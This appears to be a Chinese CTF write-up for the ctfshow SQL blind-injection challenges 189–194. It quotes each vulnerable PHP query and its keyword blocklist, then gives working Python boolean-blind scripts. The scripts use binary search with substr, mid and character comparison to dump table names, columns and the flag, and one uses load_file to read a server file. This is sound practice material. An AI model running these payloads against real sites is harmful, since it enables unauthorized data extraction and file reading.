SQL盲注的总结

  1. 1. 如果没有过滤掉if or select information where这些字段可以采取盲注,具体更具自己fuzz的来判断
  2. 2. 如果过滤了substr可以用mid left substring right来代替
  3. 3. locate可以判断字符在文件中的位置
  4. 4. 过滤掉ascii可以用ord替代 或者直接进行字符的比较 字符比较因为不区分大小写可能会在一些数据上出现错误,并且要判断大小写

189

代码分析

题目提示:flag在api/index.php文件中
看一下题目源码
sql语句

  1. $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑 过滤了select and 空格 into where这些字符

  1. //用户名检测
  2. if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
  3. $ret['msg']='用户名非法';
  4. die(json_encode($ret));
  5. }
  6. //密码检测
  7. if(!is_numeric($password)){
  8. $ret['msg']='密码只能为数字';
  9. die(json_encode($ret));
  10. }
  11. //密码判断
  12. if($row['pass']==$password){
  13. $ret['msg']='登陆成功';
  14. }

这道题利用的是回显的不同,前面的题目已经知道了sql的弱比较,username输入0的时候返回密码错误,输入1的时候返回查询失败,我们可以根据这个来进行盲注

locate和load_file

这道题题目提示了flag所在的文件是在api/index.php文件里
我们可以用load_file读取文件内容,然后利用盲注来一个一个的字符获取文件内容,直到读取到flag
但是这里有个简单的方法还可以locate函数来判断出ctfshow{这个flag的index
然后直接读取从ctfshow{开始读取flag
这个二分法脚本很值得学习

  1. import requests
  2. url = "http://3c62eaac-7e52-44c0-8a45-ae24d2881a92.challenge.ctf.show/api/"
  3. payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"
  4. payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"
  5. def find_flag_index():
  6. head = 1
  7. tail= 300
  8. while head < tail:
  9. mid = (head + tail) >> 1
  10. data = {
  11. "username": payload1.format(index=mid),
  12. "password": '0'
  13. }
  14. response = requests.post(url, data=data)
  15. if "密码错误" in response.json()['msg']:
  16. head = mid +1
  17. else:
  18. tail = mid
  19. print("[!]flag index",mid)
  20. return mid
  21. def getFlag(num):
  22. i = int(num)
  23. flag = ""
  24. while True:
  25. head = 32
  26. tail = 127
  27. i = i + 1
  28. while not (abs(head-tail) == 1 or head == tail):
  29. mid = (head + tail) // 2
  30. data = {
  31. "username": payload2.format(i,mid),
  32. "password": '0'
  33. }
  34. response = requests.post(url,data=data)
  35. if "密码错误" in response.json()['msg']:
  36. head = mid
  37. else:
  38. tail = mid
  39. if tail < head:
  40. tail = head
  41. flag += chr(tail)
  42. print("[!]flag:",flag)
  43. if flag[-1] == "}":
  44. break
  45. if __name__== "__main__":
  46. Index = find_flag_index()
  47. getFlag(Index)

190

代码分析

sql语句

  1. $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  1. //密码检测
  2. if(!is_numeric($password)){
  3. $ret['msg']='密码只能为数字';
  4. die(json_encode($ret));
  5. }
  6. //密码判断
  7. if($row['pass']==$password){
  8. $ret['msg']='登陆成功';
  9. }

这里的闭合多了一个’,是一个字符型注入,也就是前面的0失效了emmm
其实很简单
构造注入语句

  1. 1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>10,1,0)#

这里会返回密码错误 也就是说这里的if判断是正确的 也就变成了1’ or 1后面的1恒真

做题脚本

  1. import requests
  2. url = "http://ef5733fe-8d5a-42b2-865f-767e346e4c58.challenge.ctf.show/api/"
  3. # select pass from ctfshow_user where username = '{$username}';
  4. #payload = "0' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,0)#"
  5. #payload = "0' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))>{},1,0)#"
  6. #payload = "0' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))>{},1,0)#"
  7. flag = ""
  8. def get_Flag():
  9. global flag
  10. for i in range(1,100):
  11. print(i)
  12. head = 32
  13. tail = 127
  14. while not (abs(head-tail) == 1 or head == tail):
  15. mid = (head + tail) // 2
  16. data = {
  17. "username":payload.format(i,mid),
  18. "password":0
  19. }
  20. response = requests.post(url, data=data)
  21. if "密码错误" in response.json()['msg']:
  22. head = mid
  23. else:
  24. tail = mid
  25. if tail < head:
  26. tail = head
  27. flag = flag + chr(tail)
  28. print("flag:",flag)
  29. if __name__=="__main__":
  30. get_Flag()

191-192

代码分析

sql语句

  1. $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  1. //密码检测
  2. if(!is_numeric($password)){
  3. $ret['msg']='密码只能为数字';
  4. die(json_encode($ret));
  5. }
  6. //密码判断
  7. if($row['pass']==$password){
  8. $ret['msg']='登陆成功';
  9. }
  10. //TODO:感觉少了个啥,奇怪
  11. if(preg_match('/file|into|ascii/i', $username)){
  12. $ret['msg']='用户名非法';
  13. die(json_encode($ret));
  14. }

这里过滤了ascii 我们直接可以不用ascii来进行注入,但是这里有一个问题}Y_J$RPPE~G9NPRQ]W@ZV82.png字符比较的话,不区分大小写,所以数据可能稍微会有点错误,还有要自己改成小写

做题脚本

  1. import requests
  2. url = "http://3436e762-c16e-4d42-b01e-710219e60a3e.challenge.ctf.show/api/"
  3. # select pass from ctfshow_user where username = '{$username}';
  4. #payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"
  5. #payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0)#"
  6. payload = "0' or if(substr((select group_concat(F1AG) from ctfshow_fl0g),{},1)>'{}',1,0)#"
  7. flag = ""
  8. def get_Flag():
  9. global flag
  10. for i in range(1,100):
  11. print(i)
  12. head = 32
  13. tail = 127
  14. while not (abs(head-tail) == 1 or head == tail):
  15. mid = (head + tail) // 2
  16. data = {
  17. "username":payload.format(i,chr(mid)),
  18. "password":0
  19. }
  20. response = requests.post(url, data=data)
  21. if "密码错误" in response.json()['msg']:
  22. head = mid
  23. else:
  24. tail = mid
  25. if tail < head:
  26. tail = head
  27. flag = flag + chr(tail)
  28. print("flag:",flag)
  29. if __name__=="__main__":
  30. get_Flag()

192的告诫

后来看了192的过滤知道了其实可以把ascii改成ord,hex这些来进行盲注,就不会遇到大小写这些问题了

193-194

代码分析

查询语句

  1. $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  1. //密码检测
  2. if(!is_numeric($password)){
  3. $ret['msg']='密码只能为数字';
  4. die(json_encode($ret));
  5. }
  6. //密码判断
  7. if($row['pass']==$password){
  8. $ret['msg']='登陆成功';
  9. }
  10. //TODO:感觉少了个啥,奇怪
  11. if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
  12. $ret['msg']='用户名非法';
  13. die(json_encode($ret));
  14. }

在原有的基础上过滤substr,可以改用mid,left,substring,right代替

做题脚本

  1. import requests
  2. url = "http://8a3fa581-56a8-4ad6-b8f4-2ab4f4701a47.challenge.ctf.show/api/"
  3. # select pass from ctfshow_user where username = '{$username}';
  4. #payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0)#"
  5. #payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0)#"
  6. payload = "0' or if(mid((select group_concat(F1AG) from ctfshow_flxg),{},1)>'{}',1,0)#"
  7. flag = ""
  8. def get_Flag():
  9. global flag
  10. for i in range(1,100):
  11. print(i)
  12. head = 32
  13. tail = 127
  14. while not (abs(head-tail) == 1 or head == tail):
  15. mid = (head + tail) // 2
  16. data = {
  17. "username":payload.format(i,chr(mid)),
  18. "password":0
  19. }
  20. response = requests.post(url, data=data)
  21. if "密码错误" in response.json()['msg']:
  22. head = mid
  23. else:
  24. tail = mid
  25. if tail < head:
  26. tail = head
  27. flag = flag + chr(tail)
  28. print("flag:",flag)
  29. if __name__=="__main__":
  30. get_Flag()